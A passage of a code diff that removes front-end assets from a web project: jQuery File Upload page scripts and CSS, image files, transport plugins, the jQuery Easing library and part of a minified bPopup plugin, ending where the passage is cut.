|
||||
{% } %}
|
||||
</script>
|
||||
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
|
||||
<!-- The jQuery UI widget factory, can be omitted if jQuery UI is already included -->
|
||||
<script src="static/js/vendor/jquery.ui.widget.js"></script>
|
||||
<!-- The Templates plugin is included to render the upload/download listings -->
|
||||
<script src="http://blueimp.github.io/JavaScript-Templates/js/tmpl.min.js"></script>
|
||||
<!-- The Load Image plugin is included for the preview images and image resizing functionality -->
|
||||
<script src="http://blueimp.github.io/JavaScript-Load-Image/js/load-image.all.min.js"></script>
|
||||
<!-- The Canvas to Blob plugin is included for image resizing functionality -->
|
||||
<script src="http://blueimp.github.io/JavaScript-Canvas-to-Blob/js/canvas-to-blob.min.js"></script>
|
||||
<!-- Bootstrap JS is not required, but included for the responsive demo navigation -->
|
||||
<script src="http://netdna.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>
|
||||
<!-- The Iframe Transport is required for browsers without support for XHR file uploads -->
|
||||
<script src="static/js/jquery.iframe-transport.js"></script>
|
||||
<!-- The basic File Upload plugin -->
|
||||
<script src="static/js/jquery.fileupload.js"></script>
|
||||
<!-- The File Upload processing plugin -->
|
||||
<script src="static/js/jquery.fileupload-process.js"></script>
|
||||
<!-- The File Upload image preview & resize plugin -->
|
||||
<script src="static/js/jquery.fileupload-image.js"></script>
|
||||
<!-- The File Upload audio preview plugin -->
|
||||
<script src="static/js/jquery.fileupload-audio.js"></script>
|
||||
<!-- The File Upload video preview plugin -->
|
||||
<script src="static/js/jquery.fileupload-video.js"></script>
|
||||
<!-- The File Upload validation plugin -->
|
||||
<script src="static/js/jquery.fileupload-validate.js"></script>
|
||||
<!-- The File Upload user interface plugin -->
|
||||
<script src="static/js/jquery.fileupload-ui.js"></script>
|
||||
<!-- The main application script -->
|
||||
<script src="static/js/main.js"></script>
|
||||
<!-- The XDomainRequest Transport is included for cross-domain file deletion for IE 8 and IE 9 -->
|
||||
<!--[if (gte IE 8)&(lt IE 10)]>
|
||||
<script src="static/js/cors/jquery.xdr-transport.js"></script>
|
||||
<![endif]-->
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,21 +0,0 @@
|
||||
@charset "UTF-8";
|
||||
/*
|
||||
* jQuery File Upload Demo CSS Fixes for IE<9
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2013, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
.navigation {
|
||||
list-style: none;
|
||||
padding: 0;
|
||||
margin: 1em 0;
|
||||
}
|
||||
.navigation li {
|
||||
display: inline;
|
||||
margin-right: 10px;
|
||||
}
|
||||
@@ -1,67 +0,0 @@
|
||||
@charset "UTF-8";
|
||||
/*
|
||||
* jQuery File Upload Demo CSS
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2013, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
body {
|
||||
max-width: 750px;
|
||||
margin: 0 auto;
|
||||
padding: 1em;
|
||||
font-family: "Lucida Grande", "Lucida Sans Unicode", Arial, sans-serif;
|
||||
font-size: 1em;
|
||||
line-height: 1.4em;
|
||||
background: #222;
|
||||
color: #fff;
|
||||
-webkit-text-size-adjust: 100%;
|
||||
-ms-text-size-adjust: 100%;
|
||||
}
|
||||
a {
|
||||
color: orange;
|
||||
text-decoration: none;
|
||||
}
|
||||
img {
|
||||
border: 0;
|
||||
vertical-align: middle;
|
||||
}
|
||||
h1 {
|
||||
line-height: 1em;
|
||||
}
|
||||
blockquote {
|
||||
padding: 0 0 0 15px;
|
||||
margin: 0 0 20px;
|
||||
border-left: 5px solid #eee;
|
||||
}
|
||||
table {
|
||||
width: 100%;
|
||||
margin: 10px 0;
|
||||
}
|
||||
|
||||
.fileupload-progress {
|
||||
margin: 10px 0;
|
||||
}
|
||||
.fileupload-progress .progress-extended {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.error {
|
||||
color: red;
|
||||
}
|
||||
|
||||
@media (min-width: 481px) {
|
||||
.navigation {
|
||||
list-style: none;
|
||||
padding: 0;
|
||||
}
|
||||
.navigation li {
|
||||
display: inline-block;
|
||||
}
|
||||
.navigation li:not(:first-child):before {
|
||||
content: "| ";
|
||||
}
|
||||
}
|
||||
@@ -1,22 +0,0 @@
|
||||
@charset "UTF-8";
|
||||
/*
|
||||
* jQuery File Upload Plugin NoScript CSS
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2013, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
.fileinput-button input {
|
||||
position: static;
|
||||
opacity: 1;
|
||||
filter: none;
|
||||
font-size: inherit;
|
||||
direction: inherit;
|
||||
}
|
||||
.fileinput-button span {
|
||||
display: none;
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
@charset "UTF-8";
|
||||
/*
|
||||
* jQuery File Upload UI Plugin NoScript CSS
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2012, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
.fileinput-button i,
|
||||
.fileupload-buttonbar .delete,
|
||||
.fileupload-buttonbar .toggle {
|
||||
display: none;
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
@charset "UTF-8";
|
||||
/*
|
||||
* jQuery File Upload UI Plugin CSS
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2010, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
.fileupload-buttonbar .btn,
|
||||
.fileupload-buttonbar .toggle {
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
.progress-animated .progress-bar,
|
||||
.progress-animated .bar {
|
||||
background: url("../img/progressbar.gif") !important;
|
||||
filter: none;
|
||||
}
|
||||
.fileupload-process {
|
||||
float: right;
|
||||
display: none;
|
||||
}
|
||||
.fileupload-processing .fileupload-process,
|
||||
.files .processing .preview {
|
||||
display: block;
|
||||
width: 32px;
|
||||
height: 32px;
|
||||
background: url("../img/loading.gif") center no-repeat;
|
||||
background-size: contain;
|
||||
}
|
||||
.files audio,
|
||||
.files video {
|
||||
max-width: 300px;
|
||||
}
|
||||
|
||||
@media (max-width: 767px) {
|
||||
.fileupload-buttonbar .toggle,
|
||||
.files .toggle,
|
||||
.files .btn span {
|
||||
display: none;
|
||||
}
|
||||
.files .name {
|
||||
width: 80px;
|
||||
word-wrap: break-word;
|
||||
}
|
||||
.files audio,
|
||||
.files video {
|
||||
max-width: 80px;
|
||||
}
|
||||
.files img,
|
||||
.files canvas {
|
||||
max-width: 100%;
|
||||
}
|
||||
}
|
||||
@@ -1,37 +0,0 @@
|
||||
@charset "UTF-8";
|
||||
/*
|
||||
* jQuery File Upload Plugin CSS
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2013, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
.fileinput-button {
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
display: inline-block;
|
||||
}
|
||||
.fileinput-button input {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
right: 0;
|
||||
margin: 0;
|
||||
opacity: 0;
|
||||
-ms-filter: 'alpha(opacity=0)';
|
||||
font-size: 200px;
|
||||
direction: ltr;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/* Fixes for IE < 8 */
|
||||
@media screen\9 {
|
||||
.fileinput-button input {
|
||||
filter: alpha(opacity=0);
|
||||
font-size: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
}
|
||||
@@ -1,21 +0,0 @@
|
||||
@charset "UTF-8";
|
||||
/*
|
||||
* jQuery File Upload Plugin CSS Example
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2013, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
body {
|
||||
padding-top: 60px;
|
||||
}
|
||||
|
||||
.zone {
|
||||
border: 2px dashed gray;
|
||||
margin-bottom: 20px;
|
||||
min-height: 150px;
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
.popup{
|
||||
display: none;
|
||||
}
|
||||
|
||||
.no-js #loader { display: none; }
|
||||
.js #loader { display: block; position: absolute; left: 100px; top: 0; }
|
||||
.se-pre-con {
|
||||
position: fixed;
|
||||
left: 0px;
|
||||
top: 0px;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
z-index: 9999;
|
||||
background: url(../img/loading.gif) center no-repeat #fff;
|
||||
}
|
||||
|
Before Width: | Height: | Size: 3.8 KiB |
|
Before Width: | Height: | Size: 3.2 KiB |
|
Before Width: | Height: | Size: 335 B |
|
Before Width: | Height: | Size: 207 B |
|
Before Width: | Height: | Size: 262 B |
|
Before Width: | Height: | Size: 262 B |
|
Before Width: | Height: | Size: 332 B |
|
Before Width: | Height: | Size: 280 B |
|
Before Width: | Height: | Size: 6.8 KiB |
|
Before Width: | Height: | Size: 4.4 KiB |
|
Before Width: | Height: | Size: 6.8 KiB |
|
Before Width: | Height: | Size: 6.8 KiB |
|
Before Width: | Height: | Size: 4.4 KiB |
@@ -1,120 +0,0 @@
|
||||
/*
|
||||
* jQuery postMessage Transport Plugin
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2011, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
/* global define, require, window, document */
|
||||
|
||||
(function (factory) {
|
||||
'use strict';
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// Register as an anonymous AMD module:
|
||||
define(['jquery.xdr-transport.js'], factory);
|
||||
} else if (typeof exports === 'object') {
|
||||
// Node/CommonJS:
|
||||
factory(require('jquery'));
|
||||
} else {
|
||||
// Browser globals:
|
||||
factory(window.jQuery);
|
||||
}
|
||||
}(function ($) {
|
||||
'use strict';
|
||||
|
||||
var counter = 0,
|
||||
names = [
|
||||
'accepts',
|
||||
'cache',
|
||||
'contents',
|
||||
'contentType',
|
||||
'crossDomain',
|
||||
'data',
|
||||
'dataType',
|
||||
'headers',
|
||||
'ifModified',
|
||||
'mimeType',
|
||||
'password',
|
||||
'processData',
|
||||
'timeout',
|
||||
'traditional',
|
||||
'type',
|
||||
'url',
|
||||
'username'
|
||||
],
|
||||
convert = function (p) {
|
||||
return p;
|
||||
};
|
||||
|
||||
$.ajaxSetup({
|
||||
converters: {
|
||||
'postmessage text': convert,
|
||||
'postmessage json': convert,
|
||||
'postmessage html': convert
|
||||
}
|
||||
});
|
||||
|
||||
$.ajaxTransport('postmessage', function (options) {
|
||||
if (options.postMessage && window.postMessage) {
|
||||
var iframe,
|
||||
loc = $('<a>').prop('href', options.postMessage)[0],
|
||||
target = loc.protocol + '//' + loc.host,
|
||||
xhrUpload = options.xhr().upload;
|
||||
return {
|
||||
send: function (_, completeCallback) {
|
||||
counter += 1;
|
||||
var message = {
|
||||
id: 'postmessage-transport-' + counter
|
||||
},
|
||||
eventName = 'message.' + message.id;
|
||||
iframe = $(
|
||||
'<iframe style="display:none;" src="' +
|
||||
options.postMessage + '" name="' +
|
||||
message.id + '"></iframe>'
|
||||
).bind('load', function () {
|
||||
$.each(names, function (i, name) {
|
||||
message[name] = options[name];
|
||||
});
|
||||
message.dataType = message.dataType.replace('postmessage ', '');
|
||||
$(window).bind(eventName, function (e) {
|
||||
e = e.originalEvent;
|
||||
var data = e.data,
|
||||
ev;
|
||||
if (e.origin === target && data.id === message.id) {
|
||||
if (data.type === 'progress') {
|
||||
ev = document.createEvent('Event');
|
||||
ev.initEvent(data.type, false, true);
|
||||
$.extend(ev, data);
|
||||
xhrUpload.dispatchEvent(ev);
|
||||
} else {
|
||||
completeCallback(
|
||||
data.status,
|
||||
data.statusText,
|
||||
{postmessage: data.result},
|
||||
data.headers
|
||||
);
|
||||
iframe.remove();
|
||||
$(window).unbind(eventName);
|
||||
}
|
||||
}
|
||||
});
|
||||
iframe[0].contentWindow.postMessage(
|
||||
message,
|
||||
target
|
||||
);
|
||||
}).appendTo(document.body);
|
||||
},
|
||||
abort: function () {
|
||||
if (iframe) {
|
||||
iframe.remove();
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
});
|
||||
|
||||
}));
|
||||
@@ -1,89 +0,0 @@
|
||||
/*
|
||||
* jQuery XDomainRequest Transport Plugin
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2011, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*
|
||||
* Based on Julian Aubourg's ajaxHooks xdr.js:
|
||||
* https://github.com/jaubourg/ajaxHooks/
|
||||
*/
|
||||
|
||||
/* global define, require, window, XDomainRequest */
|
||||
|
||||
(function (factory) {
|
||||
'use strict';
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// Register as an anonymous AMD module:
|
||||
define(['jquery.xdr-transport.js'], factory);
|
||||
} else if (typeof exports === 'object') {
|
||||
// Node/CommonJS:
|
||||
factory(require('jquery'));
|
||||
} else {
|
||||
// Browser globals:
|
||||
factory(window.jQuery);
|
||||
}
|
||||
}(function ($) {
|
||||
'use strict';
|
||||
if (window.XDomainRequest && !$.support.cors) {
|
||||
$.ajaxTransport(function (s) {
|
||||
if (s.crossDomain && s.async) {
|
||||
if (s.timeout) {
|
||||
s.xdrTimeout = s.timeout;
|
||||
delete s.timeout;
|
||||
}
|
||||
var xdr;
|
||||
return {
|
||||
send: function (headers, completeCallback) {
|
||||
var addParamChar = /\?/.test(s.url) ? '&' : '?';
|
||||
function callback(status, statusText, responses, responseHeaders) {
|
||||
xdr.onload = xdr.onerror = xdr.ontimeout = $.noop;
|
||||
xdr = null;
|
||||
completeCallback(status, statusText, responses, responseHeaders);
|
||||
}
|
||||
xdr = new XDomainRequest();
|
||||
// XDomainRequest only supports GET and POST:
|
||||
if (s.type === 'DELETE') {
|
||||
s.url = s.url + addParamChar + '_method=DELETE';
|
||||
s.type = 'POST';
|
||||
} else if (s.type === 'PUT') {
|
||||
s.url = s.url + addParamChar + '_method=PUT';
|
||||
s.type = 'POST';
|
||||
} else if (s.type === 'PATCH') {
|
||||
s.url = s.url + addParamChar + '_method=PATCH';
|
||||
s.type = 'POST';
|
||||
}
|
||||
xdr.open(s.type, s.url);
|
||||
xdr.onload = function () {
|
||||
callback(
|
||||
200,
|
||||
'OK',
|
||||
{text: xdr.responseText},
|
||||
'Content-Type: ' + xdr.contentType
|
||||
);
|
||||
};
|
||||
xdr.onerror = function () {
|
||||
callback(404, 'Not Found');
|
||||
};
|
||||
if (s.xdrTimeout) {
|
||||
xdr.ontimeout = function () {
|
||||
callback(0, 'timeout');
|
||||
};
|
||||
xdr.timeout = s.xdrTimeout;
|
||||
}
|
||||
xdr.send((s.hasContent && s.data) || null);
|
||||
},
|
||||
abort: function () {
|
||||
if (xdr) {
|
||||
xdr.onerror = $.noop();
|
||||
xdr.abort();
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
});
|
||||
}
|
||||
}));
|
||||
@@ -1,205 +0,0 @@
|
||||
/*
|
||||
* jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
|
||||
*
|
||||
* Uses the built in easing capabilities added In jQuery 1.1
|
||||
* to offer multiple easing options
|
||||
*
|
||||
* TERMS OF USE - jQuery Easing
|
||||
*
|
||||
* Open source under the BSD License.
|
||||
*
|
||||
* Copyright © 2008 George McGinley Smith
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification,
|
||||
* are permitted provided that the following conditions are met:
|
||||
*
|
||||
* Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list
|
||||
* of conditions and the following disclaimer in the documentation and/or other materials
|
||||
* provided with the distribution.
|
||||
*
|
||||
* Neither the name of the author nor the names of contributors may be used to endorse
|
||||
* or promote products derived from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
|
||||
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
|
||||
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
|
||||
* OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
*/
|
||||
|
||||
// t: current time, b: begInnIng value, c: change In value, d: duration
|
||||
jQuery.easing['jswing'] = jQuery.easing['swing'];
|
||||
|
||||
jQuery.extend( jQuery.easing,
|
||||
{
|
||||
def: 'easeOutQuad',
|
||||
swing: function (x, t, b, c, d) {
|
||||
//alert(jQuery.easing.default);
|
||||
return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
|
||||
},
|
||||
easeInQuad: function (x, t, b, c, d) {
|
||||
return c*(t/=d)*t + b;
|
||||
},
|
||||
easeOutQuad: function (x, t, b, c, d) {
|
||||
return -c *(t/=d)*(t-2) + b;
|
||||
},
|
||||
easeInOutQuad: function (x, t, b, c, d) {
|
||||
if ((t/=d/2) < 1) return c/2*t*t + b;
|
||||
return -c/2 * ((--t)*(t-2) - 1) + b;
|
||||
},
|
||||
easeInCubic: function (x, t, b, c, d) {
|
||||
return c*(t/=d)*t*t + b;
|
||||
},
|
||||
easeOutCubic: function (x, t, b, c, d) {
|
||||
return c*((t=t/d-1)*t*t + 1) + b;
|
||||
},
|
||||
easeInOutCubic: function (x, t, b, c, d) {
|
||||
if ((t/=d/2) < 1) return c/2*t*t*t + b;
|
||||
return c/2*((t-=2)*t*t + 2) + b;
|
||||
},
|
||||
easeInQuart: function (x, t, b, c, d) {
|
||||
return c*(t/=d)*t*t*t + b;
|
||||
},
|
||||
easeOutQuart: function (x, t, b, c, d) {
|
||||
return -c * ((t=t/d-1)*t*t*t - 1) + b;
|
||||
},
|
||||
easeInOutQuart: function (x, t, b, c, d) {
|
||||
if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
|
||||
return -c/2 * ((t-=2)*t*t*t - 2) + b;
|
||||
},
|
||||
easeInQuint: function (x, t, b, c, d) {
|
||||
return c*(t/=d)*t*t*t*t + b;
|
||||
},
|
||||
easeOutQuint: function (x, t, b, c, d) {
|
||||
return c*((t=t/d-1)*t*t*t*t + 1) + b;
|
||||
},
|
||||
easeInOutQuint: function (x, t, b, c, d) {
|
||||
if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
|
||||
return c/2*((t-=2)*t*t*t*t + 2) + b;
|
||||
},
|
||||
easeInSine: function (x, t, b, c, d) {
|
||||
return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
|
||||
},
|
||||
easeOutSine: function (x, t, b, c, d) {
|
||||
return c * Math.sin(t/d * (Math.PI/2)) + b;
|
||||
},
|
||||
easeInOutSine: function (x, t, b, c, d) {
|
||||
return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
|
||||
},
|
||||
easeInExpo: function (x, t, b, c, d) {
|
||||
return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
|
||||
},
|
||||
easeOutExpo: function (x, t, b, c, d) {
|
||||
return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
|
||||
},
|
||||
easeInOutExpo: function (x, t, b, c, d) {
|
||||
if (t==0) return b;
|
||||
if (t==d) return b+c;
|
||||
if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
|
||||
return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
|
||||
},
|
||||
easeInCirc: function (x, t, b, c, d) {
|
||||
return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
|
||||
},
|
||||
easeOutCirc: function (x, t, b, c, d) {
|
||||
return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
|
||||
},
|
||||
easeInOutCirc: function (x, t, b, c, d) {
|
||||
if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
|
||||
return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
|
||||
},
|
||||
easeInElastic: function (x, t, b, c, d) {
|
||||
var s=1.70158;var p=0;var a=c;
|
||||
if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
|
||||
if (a < Math.abs(c)) { a=c; var s=p/4; }
|
||||
else var s = p/(2*Math.PI) * Math.asin (c/a);
|
||||
return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
|
||||
},
|
||||
easeOutElastic: function (x, t, b, c, d) {
|
||||
var s=1.70158;var p=0;var a=c;
|
||||
if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
|
||||
if (a < Math.abs(c)) { a=c; var s=p/4; }
|
||||
else var s = p/(2*Math.PI) * Math.asin (c/a);
|
||||
return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
|
||||
},
|
||||
easeInOutElastic: function (x, t, b, c, d) {
|
||||
var s=1.70158;var p=0;var a=c;
|
||||
if (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5);
|
||||
if (a < Math.abs(c)) { a=c; var s=p/4; }
|
||||
else var s = p/(2*Math.PI) * Math.asin (c/a);
|
||||
if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
|
||||
return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
|
||||
},
|
||||
easeInBack: function (x, t, b, c, d, s) {
|
||||
if (s == undefined) s = 1.70158;
|
||||
return c*(t/=d)*t*((s+1)*t - s) + b;
|
||||
},
|
||||
easeOutBack: function (x, t, b, c, d, s) {
|
||||
if (s == undefined) s = 1.70158;
|
||||
return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
|
||||
},
|
||||
easeInOutBack: function (x, t, b, c, d, s) {
|
||||
if (s == undefined) s = 1.70158;
|
||||
if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
|
||||
return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
|
||||
},
|
||||
easeInBounce: function (x, t, b, c, d) {
|
||||
return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;
|
||||
},
|
||||
easeOutBounce: function (x, t, b, c, d) {
|
||||
if ((t/=d) < (1/2.75)) {
|
||||
return c*(7.5625*t*t) + b;
|
||||
} else if (t < (2/2.75)) {
|
||||
return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
|
||||
} else if (t < (2.5/2.75)) {
|
||||
return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
|
||||
} else {
|
||||
return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
|
||||
}
|
||||
},
|
||||
easeInOutBounce: function (x, t, b, c, d) {
|
||||
if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
|
||||
return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
|
||||
}
|
||||
});
|
||||
|
||||
/*
|
||||
*
|
||||
* TERMS OF USE - EASING EQUATIONS
|
||||
*
|
||||
* Open source under the BSD License.
|
||||
*
|
||||
* Copyright © 2001 Robert Penner
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification,
|
||||
* are permitted provided that the following conditions are met:
|
||||
*
|
||||
* Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list
|
||||
* of conditions and the following disclaimer in the documentation and/or other materials
|
||||
* provided with the distribution.
|
||||
*
|
||||
* Neither the name of the author nor the names of contributors may be used to endorse
|
||||
* or promote products derived from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
|
||||
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
|
||||
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
|
||||
* OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
*/
|
||||
@@ -1,7 +0,0 @@
|
||||
/*================================================================================
|
||||
* @name: bPopup - if you can't get it up, use bPopup
|
||||
* @author: (c)Bjoern Klinggaard (twitter@bklinggaard)
|
||||
* @demo: http://dinbror.dk/bpopup
|
||||
* @version: 0.11.0.min
|
||||
================================================================================*/
|
||||
(function(c){c.fn.bPopup=function(A,E){function L(){a.contentContainer=c(a.contentContainer||b);switch(a.content){case "iframe":var d=c('<iframe class="b-iframe" '+a.iframeAttr+"></iframe>");d.appendTo(a.contentContainer);t=b.outerHeight(!0);u=b.outerWidth(!0);B();d.attr("src",a.loadUrl);l(a.loadCallback);break;case "image":B();c("<img />").load(function(){l(a.loadCallback);F(c(this))}).attr("src",a.loadUrl).hide().appendTo(a.contentContainer);break;default:B(),c('<div class="b-ajax-wrapper"></div>').load(a.loadUrl,a.loadData,function(d,b,e){l(a.loadCallback,b);F(c(this))}).hide().appendTo(a.contentContainer)}}function B(){a.modal&&c('<div class="b-modal '+e+'"></div>').css({backgroundColor:a.modalColor,position:"fixed",top:0,right:0,bottom:0,left:0,opacity:0,zIndex:a.zIndex+v}).appendTo(a.appendTo).fadeTo(a.speed,a.opacity);C();b.data("bPopup",a).data("id",e).css({left:"slideIn"==a.transition||"slideBack"==a.transition?"slideBack"==a.transition?f.scrollLeft()+w:-1*(x+u):m(!(!a.follow[0]&&n||g)),position:a.positionStyle||"absolute",top:"slideDown"==a.transition||"slideUp"==a.transition?"slideUp"==a.transition?f.scrollTop()+y:z+-1*t:p(!(!a.follow[1]&&q||g)),"z-index":a.zIndex+v+1}).each(function(){a.appending&&c(this).appendTo(a.appendTo)});G(!0)}function r(){a.modal&&c(".b-modal."+b.data("id")).fadeTo(a.speed,0,function(){c(this).remove()});a.scrollBar||c("html").css("overflow","auto");c(".b-modal."+e).unbind("click");f.unbind("keydown."+e);k.unbind("."+e).data("bPopup",0<k.data("bPopup")-1?k.data("bPopup")-1:null);b.undelegate(".bClose, ."+a.closeClass,"click."+e,r).data("bPopup",null);clearTimeout(H);G();return!1}function I(d){y=k.height();w=k.width();h=D();if(h.x||h.y)clearTimeout(J),J=setTimeout(function(){C();d=d||a.followSpeed;var e={};h.x&&(e.left=a.follow[0]?m(!0):"auto");h.y&&(e.top=a.follow[1]?p(!0):"auto");b.dequeue().each(function(){g?c(this).css({left:x,top:z}):c(this).animate(e,d,a.followEasing)})},50)}function F(d){var c=d.width(),e=d.height(),f={};a.contentContainer.css({height:e,width:c});e>=b.height()&&(f.height=b.height());c>=b.width()&&(f.width=b.width());t=b.outerHeight(!0);u=b.outerWidth(!0);C();a.contentContainer.css({height:"auto",width:"auto"});f.left=m(!(!a.follow[0]&&n||g));f.top=p(!(!a.follow[1]&&q||g));b.animate(f,250,function(){d.show();h=D()})}function M(){k.data("bPopup",v);b.delegate(".bClose, 